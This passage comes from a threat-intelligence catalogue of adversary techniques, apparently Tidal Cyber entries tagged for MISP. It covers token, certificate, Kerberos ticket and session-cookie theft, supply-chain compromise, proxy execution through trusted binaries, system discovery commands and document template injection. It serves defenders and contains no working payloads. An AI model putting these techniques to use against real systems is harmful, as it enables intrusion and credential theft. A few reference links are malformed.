Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens^{[[Auth0 Understanding Refresh Tokens](https://app.tidalcyber.com/references/84eb3d8a-f6b1-4bb5-9411-2c8da29b5946)]}, allowing them to obtain new access tokens without prompting the user.

The tag is: *misp-galaxy:technique="Steal Application Access Token"*

Steal or Forge Authentication Certificates

Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials

for domain accounts.^{[[O365 Blog Azure AD Device IDs](https://app.tidalcyber.com/references/ec94c043-92ef-4691-b21a-7ea68f39e338)]}^{[[Microsoft AD CS Overview](https://app.tidalcyber.com/references/f1b2526a-1bf6-4954-a9b3-a5e008761ceb)]}

Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)^{[[APT29 Deep Look at Credential Roaming](https://app.tidalcyber.com/references/691fb596-07b6-5c13-9cec-e28530ffde12)]}, misplaced certificate files (i.e. [Unsecured Credentials](https://app.tidalcyber.com/technique/02ed857b-ba39-4fab-b1d9-3ed2aa689dfd)), or directly from the Windows certificate store via various crypto APIs.^{[[SpecterOps Certified Pre Owned](https://app.tidalcyber.com/references/73b6a6a6-c2b8-4aed-9cbc-d3bdcbb97698)]}^{[[GitHub CertStealer](https://app.tidalcyber.com/references/da06ce8f-f950-4ae8-a62a-b59b236e91a3)]}^{[[GitHub GhostPack Certificates](https://app.tidalcyber.com/references/941e214d-4188-4ca0-9ef8-b26aa96373a2)]} With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate's extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate's subject alternative name (SAN) values define the certificate owner's alternate names.^{[[Medium Certified Pre Owned](https://app.tidalcyber.com/references/04e53c69-3f29-4bb4-83c9-ff3a2db1526b)]}

Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://app.tidalcyber.com/tactics/50ba4930-7c8e-4ef9-bc36-70e7dae661eb). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://app.tidalcyber.com/tactics/b17dde68-dbcf-4cfd-9bb8-be014ec65c37), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://app.tidalcyber.com/tactics/ec4f9786-c00c-430a-bc6d-0d0d22fdd393) via stealing or forging certificates that can be used as [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.

Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://app.tidalcyber.com/tactics/ec4f9786-c00c-430a-bc6d-0d0d22fdd393) by forging arbitrary authentication certificates for the victim domain (known as "golden" certificates).^{[[Medium Certified Pre Owned](https://app.tidalcyber.com/references/04e53c69-3f29-4bb4-83c9-ff3a2db1526b)]} Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://app.tidalcyber.com/technique/12efebf8-9da4-446c-a627-b6f95524f1ea) ticket-granting tickets (TGT) or NTLM plaintext.^{[[Medium Certified Pre Owned](https://app.tidalcyber.com/references/04e53c69-3f29-4bb4-83c9-ff3a2db1526b)]}

The tag is: *misp-galaxy:technique="Steal or Forge Authentication Certificates"*

Steal or Forge Kerberos Tickets

Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets

to enable [Pass the Ticket](https://app.tidalcyber.com/technique/5e771f38-6286-4330-b7b4-38071ad6b68a). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).^{[[ADSecurity Kerberos Ring Decoder](https://app.tidalcyber.com/references/5f78a554-2d5c-49af-8c6c-6e10f9aec997)]}
Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.

On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.^{[[Microsoft Klist](https://app.tidalcyber.com/references/f500340f-23fc-406a-97ef-0de787ef8cec)]}

The tag is: *misp-galaxy:technique="Steal or Forge Kerberos Tickets"*

Steal Web Session Cookie

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.^{[[Pass The Cookie](https://app.tidalcyber.com/references/dc67930f-5c7b-41be-97e9-d8f4a55e6019)]}

There are several examples of malware targeting cookies from web browsers on the local system.^{[[Kaspersky TajMahal April 2019](https://app.tidalcyber.com/references/1ed20522-52ae-4d0c-b42e-c680490958ac)]}^{[[Unit 42 Mac Crypto Cookies January 2019](https://app.tidalcyber.com/references/0a88e730-8ed2-4983-8f11-2cb2e4abfe3e)]}
Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872) by tricking victims into running malicious JavaScript in their browser.^{[[Talos Roblox Scam 2023](https://app.tidalcyber.com/references/9371ee4a-ac23-5acb-af3f-132ef3645392)]}^{[[Krebs Discord Bookmarks 2023](https://app.tidalcyber.com/references/1d0a21f4-9a8e-5514-894a-3d55263ff973)]}

There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://app.tidalcyber.com/technique/d98dbf30-c454-42ff-a9f3-2cd3319cc0d9)) that can be set up by an adversary and used in phishing campaigns.^{[[Github evilginx2](https://app.tidalcyber.com/references/322e5d90-5095-47ea-b0e2-e7e5fb45fcca)]}^{[[GitHub Mauraena](https://app.tidalcyber.com/references/578ecf62-b546-4f52-9d50-92557edf2dd4)]}

After an adversary acquires a valid cookie, they can then perform a [Web Session

Cookie](https://app.tidalcyber.com/technique/d36a5323-e249-44e8-9c8b-5cc9c023a5e1) technique to login to the corresponding web application.

The tag is: *misp-galaxy:technique="Steal Web Session Cookie"*

Subvert Trust Controls

Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.

Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://app.tidalcyber.com/technique/cb2e4822-2529-4216-b5b8-75158c5f85ff) or [Modify Registry](https://app.tidalcyber.com/technique/0dfeab84-3c42-4b56-9021-70fe5be4092b) in support of subverting these controls.^{[[SpectorOps Subverting Trust Sept 2017](https://app.tidalcyber.com/references/0b6e7651-0e17-4101-ab2b-22cb09fe1691)]} Adversaries may also create or steal code signing certificates to acquire trust on target systems.^{[[Securelist Digital Certificates](https://app.tidalcyber.com/references/3568163b-24b8-42fd-b111-b9d83c34cc4f)]}^{[[Symantec Digital Certificates](https://app.tidalcyber.com/references/4b4f0171-827d-45c3-8c89-66ea801e77e8)]}

The tag is: *misp-galaxy:technique="Subvert Trust Controls"*

Supply Chain Compromise

Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

- Manipulation of development tools
- Manipulation of a development environment
- Manipulation of source code repositories (public or private)
- Manipulation of source code in open-source dependencies
- Manipulation of software update/distribution mechanisms
- Compromised/infected system images (multiple cases of removable media infected at the factory)^{[[IBM Storwize](https://app.tidalcyber.com/references/321cf27a-327d-4824-84d0-56634d3b86f5)]}^{[[Schneider Electric USB Malware](https://app.tidalcyber.com/references/e4d8ce63-8626-4c8f-a437-b6a120ff61c7)]}
- Replacement of legitimate software with modified versions

- Sales of modified/counterfeit products to legitimate distributors
- Shipment interdiction

While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.^{[[Avast CCleaner3 2018](https://app.tidalcyber.com/references/1641553f-96e7-4829-8c77-d96388dac5c7)]}^{[[Microsoft Dofoil 2018](https://app.tidalcyber.com/references/85069317-2c25-448b-9ff4-504e429dc1bf)]}^{[[Command Five SK 2011](https://app.tidalcyber.com/references/ccca927e-fa03-4eba-b631-9989804a1f3c)]} Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.^{[[Symantec Elderwood Sept 2012](https://app.tidalcyber.com/references/5e908748-d260-42f1-a599-ac38b4e22559)]}^{[[Avast CCleaner3 2018](https://app.tidalcyber.com/references/1641553f-96e7-4829-8c77-d96388dac5c7)]}^{[[Command Five SK 2011](https://app.tidalcyber.com/references/ccca927e-fa03-4eba-b631-9989804a1f3c)]} Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.^{[[Trendmicro NPM Compromise](https://app.tidalcyber.com/references/69eac1b0-1c50-4534-99e0-2d0fd738ab8f)]}

The tag is: *misp-galaxy:technique="Supply Chain Compromise"*

System Binary Proxy Execution

Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.^{[[LOLBAS Project](https://app.tidalcyber.com/references/14b1d3ab-8508-4946-9913-17e667956064)]} Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.

Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.^{[[split man page](https://app.tidalcyber.com/references/3a4dc770-8bfa-44e9-bb0e-f0af0ae92994)]}^{[[GTFO split](https://app.tidalcyber.com/references/4b86c8c3-57b0-4558-be21-f928acb23f49)]}

The tag is: *misp-galaxy:technique="System Binary Proxy Execution"*

System Information Discovery

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://app.tidalcyber.com/technique/a2961a00-450e-45a5-b293-f699d9f3b4ea) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as [Systeminfo](https://app.tidalcyber.com/software/cecea681-a753-47b5-9d77-c10a5b4403ab) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. As an example, adversaries with user-level access can execute the <code>df -aH</code> command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) on network devices to gather detailed system information (e.g. <code>show version</code>).^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]} On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).^{[[Crowdstrike Hypervisor Jackpotting Pt 2 2021](https://app.tidalcyber.com/references/db1ca1bf-2f48-5ff1-9fd3-52b86f3f0726)]}^{[[Varonis](https://app.tidalcyber.com/references/2084fd09-f246-50f1-bfaa-5b3aa0b00779)]}

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.^{[[Amazon Describe Instance](https://app.tidalcyber.com/references/c0b6a8a4-0d94-414d-b5ab-cf5485240dee)]}^{[[Google Instances Resource](https://app.tidalcyber.com/references/9733447c-072f-4da8-9cc7-0a0ce6a3b820)]}^{[[Microsoft Virutal Machine API](https://app.tidalcyber.com/references/f565c237-07c5-4e9e-9879-513627517109)]}

[System Information Discovery](https://app.tidalcyber.com/technique/a2961a00-450e-45a5-b293-f699d9f3b4ea) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.^{[[OSX.FairyTale](https://app.tidalcyber.com/references/27f8ad45-53d2-48ba-b549-f7674cf9c2e7)]}^{[[20 macOS Common Tools and Techniques](https://app.tidalcyber.com/references/3ee99ff4-daf4-4776-9d94-f7cf193c2b0c)]}

The tag is: *misp-galaxy:technique="System Information Discovery"*

System Location Discovery

Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://app.tidalcyber.com/technique/90e6a093-3e87-4d74-8b68-38c7d7e5e93c) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.^{[[FBI Ragnar Locker 2020](https://app.tidalcyber.com/references/38b9b8a3-6fd3-4650-9192-14ee3f302705)]}^{[[Sophos Geolocation 2016](https://app.tidalcyber.com/references/a3b7540d-20cc-4d94-8321-9fd730486f8c)]}^{[[Bleepingcomputer RAT malware 2020](https://app.tidalcyber.com/references/a587ea99-a951-4aa8-a3cf-a4822ae97490)]}
Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the

locale of the host.^{[[FBI Ragnar Locker 2020](https://app.tidalcyber.com/references/38b9b8a3-6fd3-4650-9192-14ee3f302705)]} In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.^{[[AWS Instance Identity Documents](https://app.tidalcyber.com/references/efff0080-59fc-4ba7-ac91-771358f68405)]}^{[[Microsoft Azure Instance Metadata 2021](https://app.tidalcyber.com/references/66e93b75-0067-4cdb-b695-8f8109ef26e0)]}

Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.^{[[Securelist Trasparent Tribe 2020](https://app.tidalcyber.com/references/0db470b1-ab22-4b67-a858-472e4de7c6f0)]}^{[[Sophos Geolocation 2016](https://app.tidalcyber.com/references/a3b7540d-20cc-4d94-8321-9fd730486f8c)]}

The tag is: *misp-galaxy:technique="System Location Discovery"*

System Network Configuration Discovery

Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://app.tidalcyber.com/software/45b51950-6190-4572-b1a2-7c69d865251e), [ipconfig](ifconfig(https://app.tidalcyber.com/software/93ab16d1-625e-4b1c-bb28-28974c269c47), [nbtstat](https://app.tidalcyber.com/software/81c2fc9b-8c2c-40f6-a327-dcdd64b70a7e), and [route](https://app.tidalcyber.com/software/3b755518-9085-474e-8bc4-4f9344d9c8af).

Adversaries may also leverage a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}^{[[Mandiant APT41 Global Intrusion](https://app.tidalcyber.com/references/9b75a38e-e5c7-43c8-a7fb-c7f212e00497)]} On ESXi, adversaries may leverage esxcli to gather network configuration information. For example, the command `esxcli network nic list` will retrieve the MAC address, while `esxcli network ip interface ipv4 get` will retrieve the local IPv4 address.^{[[Trellix Rnasomhouse 2024](https://app.tidalcyber.com/references/24ef15cc-1777-5be6-9729-dd16ce0c3729)]}

Adversaries may use the information from [System Network Configuration Discovery](https://app.tidalcyber.com/technique/adb6b8c1-2bdb-42b9-95da-5ce07e8796f7) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.

The tag is: *misp-galaxy:technique="System Network Configuration Discovery"*

System Network Connections Discovery

Adversaries may attempt to get a listing of network connections to or from the compromised

system they are currently accessing or from remote systems by querying for information over the network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.^{[[Amazon AWS VPC Guide](https://app.tidalcyber.com/references/7972332d-fbe9-4f14-9511-4298f65f2a86)]}^{[[Microsoft Azure Virtual Network Overview](https://app.tidalcyber.com/references/bf7f2e7a-f5ae-4b6e-8c90-fd41a92c4615)]}^{[[Google VPC Overview](https://app.tidalcyber.com/references/9ebe53cf-657f-475d-85e4-9e30f4af1e7d)]} Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.

Utilities and commands that acquire this information include [netstat](https://app.tidalcyber.com/software/132fb908-9f13-4bcf-aa64-74cbc72f5491), "net use," and "net session" with [Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc). In Mac and Linux, [netstat](https://app.tidalcyber.com/software/132fb908-9f13-4bcf-aa64-74cbc72f5491) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session". Additionally, built-in features native to network devices and [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>).^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]} On ESXi servers, the command `esxi network ip connection list` can be used to list active network connections.^{[[Sygnia ESXi Ransomware 2025](https://app.tidalcyber.com/references/177dd788-33d1-53f8-9419-2af3a78269ba)]}

The tag is: *misp-galaxy:technique="System Network Connections Discovery"*

System Owner/User Discovery

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://app.tidalcyber.com/technique/368f85f9-2b15-4732-80fe-087694eaf34d). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://app.tidalcyber.com/technique/86e6f1f0-290b-4971-b50e-80e98a0a768b) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Various utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be

used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.

On network devices, [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.^{[[show_ssh_users_cmd_cisco](https://app.tidalcyber.com/references/11d34884-4559-57ad-8910-54e517c6493e)]}^{[[US-CERT TA18-106A Network Infrastructure Devices 2018](https://app.tidalcyber.com/references/8fdf280d-680f-4b8f-8fb9-6b3118ec3983)]}

The tag is: *misp-galaxy:technique="System Owner/User Discovery"*

System Script Proxy Execution

Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.^{[[LOLBAS Project](https://app.tidalcyber.com/references/14b1d3ab-8508-4946-9913-17e667956064)]} This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.^{[[GitHub Ultimate AppLocker Bypass List](https://app.tidalcyber.com/references/a2fa7fb8-ddba-44cf-878f-448fb2aa6149)]}

The tag is: *misp-galaxy:technique="System Script Proxy Execution"*

System Service Discovery

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>.

Adversaries may use the information from [System Service Discovery](https://app.tidalcyber.com/technique/e0a347e2-2ac5-458b-ab0f-18d81b6d6055) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:technique="System Service Discovery"*

System Services

Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://app.tidalcyber.com/technique/f8aa018b-5134-4201-87f2-e55d20f40b17)), but adversaries can also abuse services for one-time or temporary execution.

The tag is: *misp-galaxy:technique="System Services"*

System Shutdown/Reboot

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) (e.g. <code>reload</code>).^{[[Microsoft Shutdown Oct 2017](https://app.tidalcyber.com/references/c587f021-596a-4e63-ac51-afa2793a859d)]}^{[[alert_TA18_106A](https://app.tidalcyber.com/references/26b520dc-5c68-40f4-82fb-366d27fc0c2f)]} They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.

Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.

Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://app.tidalcyber.com/technique/14a944d3-ab95-40d8-b069-ccc4824ef46d) or [Inhibit System Recovery](https://app.tidalcyber.com/technique/d207c03b-fbe7-420e-a053-339f4650c043), to hasten the intended effects on system availability.^{[[Talos Nyetya June 2017](https://app.tidalcyber.com/references/c76e806c-b0e3-4ab9-ba6d-68a9f731f127)]}^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]}

The tag is: *misp-galaxy:technique="System Shutdown/Reboot"*

System Time Discovery

An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or <code>systemsetup</code> on macOS.^{[[MSDN System Time](https://app.tidalcyber.com/references/5e15e03b-be8b-4f3d-a3ae-0df7a4ecfbec)]}^{[[Technet Windows Time Service](https://app.tidalcyber.com/references/0d908e07-abc1-40fc-b147-9b9fd483b262)]}^{[[systemsetup mac time](https://app.tidalcyber.com/references/a85bd111-a2ca-5e66-b90e-f52ff780fc5c)]} These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.^{[[Mac Time Sync](https://app.tidalcyber.com/references/b36dd8af-045d-57b0-b0a9-45d831fe6373)]}^{[[linux system time](https://app.tidalcyber.com/references/2dfd22d7-c78b-5967-b732-736f37ea5489)]}

System time information may be gathered in a number of ways, such as with [Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc) on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>.^{[[Technet Windows Time Service](https://app.tidalcyber.com/references/0d908e07-abc1-40fc-b147-9b9fd483b262)]} In addition, adversaries can discover device uptime through functions such as <code>GetTickCount()</code> to determine how long it has been since the system booted up.^{[[Virtualization/Sandbox Evasion](https://app.tidalcyber.com/references/a3031616-f21a-574f-a9a5-a808a6230aa8)]}

On network devices, [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) commands such as `show clock detail` can be used to see the current time configuration.^{[[show_clock_detail_cisco_cmd](https://app.tidalcyber.com/references/a2215813-31b0-5624-92d8-479e7bd1a30b)]} On ESXi servers, `esxcli system clock get` can be used for the same purpose.

In addition, system calls – such as <code>time()</code> – have been used to collect the current time on Linux devices.^{[[MAGNET GOBLIN](https://app.tidalcyber.com/references/955b6449-4cd5-5512-a5f3-2bcb91def3ef)]} On macOS systems, adversaries may use commands such as <code>systemsetup -gettimezone</code> or <code>timeIntervalSinceNow</code> to gather current time zone information or current date and time.^{[[System Information Discovery Technique](https://app.tidalcyber.com/references/6123fbd4-c6fc-504c-92f2-5d405730c298)]}^{[[ESET DazzleSpy Jan 2022](https://app.tidalcyber.com/references/212012ac-9084-490f-8dd2-5cc9ac6e6de1)]}

This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job]([RSA EU12 They're Inside(https://app.tidalcyber.com/references/8330ab88-9c73-4332-97d6-c1fb95b1a155)]</sup>, or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://app.tidalcyber.com/technique/90e6a093-3e87-4d74-8b68-38c7d7e5e93c)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.^{[[AnyRun TimeBomb](https://app.tidalcyber.com/references/cd369bf9-80a8-426f-a0aa-c9745b40696c)]}

The tag is: *misp-galaxy:technique="System Time Discovery"*

Taint Shared Content

Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://app.tidalcyber.com/technique/bfde0a09-8109-41e4-b8c9-68fe20e8131b) of directory .LNK files that use [Masquerading](https://app.tidalcyber.com/technique/a0adacc1-8d2a-4e0b-92c1-3766264df4fd) to look like the real directories, which are hidden through [Hidden Files and Directories](https://app.tidalcyber.com/technique/14e81a2d-9eca-429c-9fb9-08e109de9f6c). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. ^{[[Retwin Directory Share Pivot](https://app.tidalcyber.com/references/027c5274-6b61-447a-9058-edb844f112dd)]}

Adversaries may also compromise shared network directories through binary infections by

appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.

The tag is: *misp-galaxy:technique="Taint Shared Content"*

Template Injection

Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft's Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.^{[[Microsoft Open XML July 2017](https://app.tidalcyber.com/references/8145f894-6477-4629-81de-1dd26070ee0a)]}

Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.^{[[SANS Brian Wiltse Template Injection](https://app.tidalcyber.com/references/8c010c87-865b-4168-87a7-4a24db413def)]}
These documents can be delivered via other techniques such as [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533) and/or [Taint Shared Content](https://app.tidalcyber.com/technique/58987d0d-2ebf-4783-90ac-5164fe9b9e43) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.^{[[Redxorblue Remote Template Injection](https://app.tidalcyber.com/references/bce1cd78-b55e-40cf-8a90-64240db867ac)]}
Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.^{[[MalwareBytes Template Injection OCT 2017](https://app.tidalcyber.com/references/7ef0ab1f-c7d6-46fe-b489-fab4db623e0a)]}

Adversaries may also modify the <code>*\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.^{[[Proofpoint RTF Injection](https://app.tidalcyber.com/references/8deb6edb-293f-4b9d-882a-541675864eb5)]}^{[[Ciberseguridad Decoding malicious RTF files](https://app.tidalcyber.com/references/82d2451b-300f-4891-b1e7-ade53dff1126)]}

This technique may also enable [Forced Authentication](https://app.tidalcyber.com/technique/e732e1d4-fffa-4fc3-b387-47782c821688) by injecting a SMB/HTTPS (or other credential prompting)

URL and triggering an authentication attempt.^{[[Anomali Template Injection MAR 2018](https://app.tidalcyber.com/references/3cdeb2a2-9582-4725-a132-6503dbe04e1d)]}^{[[Talos Template Injection July 2017](https://app.tidalcyber.com/references/175ea537-2a94-42c7-a83b-bec8906ee6b9)]}^{[[ryhanson phishery SEPT 2016](https://app.tidalcyber.com/references/7e643cf0-5df7-455d-add7-2342f36bdbcb)]}

The tag is: *misp-galaxy:technique="Template Injection"*

Traffic Signaling

